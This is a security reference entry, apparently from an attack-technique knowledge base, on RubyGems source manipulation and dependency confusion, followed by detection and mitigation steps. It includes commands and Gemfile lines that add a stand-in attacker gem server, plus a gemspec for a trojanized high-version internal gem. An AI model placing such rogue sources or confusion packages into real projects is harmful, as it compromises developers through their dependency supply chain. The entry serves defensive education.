RubyGems Source Manipulation
Prerequisites
- Write access to the victim's Gemfile, .gemrc, or ability to influence gem source configuration
- A malicious gem server hosting a trojanized version of a target gem
- For dependency confusion: knowledge of internal gem names used by the target organization
Attack Scenarios
Adding a Malicious Gem Source
An attacker with access to a developer's environment adds a rogue gem source that hosts trojanized versions of popular gems. When the developer runs gem install or bundle install, the package manager may resolve gems from the malicious source, especially if the attacker publishes higher version numbers.
gem sources --add https://evil-gems.attacker.example.com/
gem sources --list
# Output:
# *** CURRENT SOURCES ***
# https://rubygems.org/
# https://evil-gems.attacker.example.com/
# If the malicious source has 'nokogiri' version 99.0.0,
# it may be selected over rubygems.org's version
gem install nokogiri
Gemfile Multi-Source Dependency Confusion
An attacker modifies a project's Gemfile to add a secondary source. Bundler's source resolution can be exploited when gems are not pinned to specific sources, allowing a malicious source to serve trojanized packages.
# Gemfile
source "https://rubygems.org"
source "https://evil-gems.attacker.example.com"
# These gems could resolve from EITHER source
gem "rails"
gem "internal-auth-lib" # Internal gem name targeted for confusion
# Gemfile - source block pattern
source "https://rubygems.org"
# Attacker-injected source block
source "https://evil-gems.attacker.example.com" do
gem "internal-auth-lib"
end
# On the attacker's gem server, publish:
Gem::Specification.new do |s|
s.name = "internal-auth-lib"
s.version = "99.0.0"
s.summary = "Authentication library"
s.authors = ["attacker"]
s.files = ["lib/internal-auth-lib.rb"]
# lib/internal-auth-lib.rb contains malicious code
end
Detection
Audit configured gem sources
List all globally configured gem sources to check for unexpected or untrusted repositories.
gem sources --listAudit Gemfile for multiple sources
Review the project's Gemfile for multiple source declarations and ensure gems are pinned to specific sources using source blocks.
grep -n 'source ' GemfileCheck resolved sources in Gemfile.lock
Inspect Gemfile.lock to verify which source each gem was resolved from.
grep -B1 'remote:' Gemfile.lockMitigation
- Use only trusted gem sources and remove any unknown sources with gem sources --remove
- Pin gems to specific sources using Bundler source blocks in the Gemfile
- Use Bundler 2.x+ which warns about ambiguous source resolution
- For internal gems, use a private gem server and restrict resolution with source blocks
- Regularly audit Gemfile.lock to verify gems were resolved from expected sources
- Claim your internal gem names on rubygems.org as placeholders to prevent dependency confusion